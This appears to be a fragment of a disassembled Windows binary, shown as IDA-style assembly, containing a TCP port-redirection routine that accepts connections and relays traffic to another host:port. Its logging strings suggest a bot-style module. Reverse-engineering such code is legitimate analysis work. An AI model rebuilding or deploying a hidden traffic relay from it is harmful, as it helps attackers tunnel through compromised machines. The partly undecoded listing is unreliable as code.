[esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472FC push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 call near ptr 71AB3B91h nop test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103B4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103B4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103B4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103B4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103B4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D64 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax nop call near ptr 71AB9639h loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D64 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx call near ptr 71AB2B66h nop lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah call near ptr 283030Ah nop loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi ; closesocket loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi ; closesocket loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; о db 43h ; C db 0 db 64h ; d db 0A1h ; ║ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ┴ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ▀ db 0F1h ; Я db 89h ; ┴ db 74h ; t db 24h ; $ db 4 db 0E8h ; Х db 0CEh ; н db 54h ; T db 0FDh ; Щ db 0FFh db 68h ; h db 64h ; d db 4Dh ; M db 44h ; D db 0 db 8Dh ; █ db 4Eh ; N db 11h db 0C7h ; г db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; г db 6 db 0C0h ; ю db 0F1h ; Я db 43h ; C db 0 db 0E8h ; Х db 0F4h ; Т db 4Ah ; J db 0FDh ; Щ db 0FFh db 8Bh ; ▀ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ▀ db 0C6h ; ф db 5Eh ; ^ db 64h ; d db 89h ; ┴ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ┐ db 0C4h ; д db 10h db 0C3h ; ц db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh nop call near ptr 283030Ah mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, 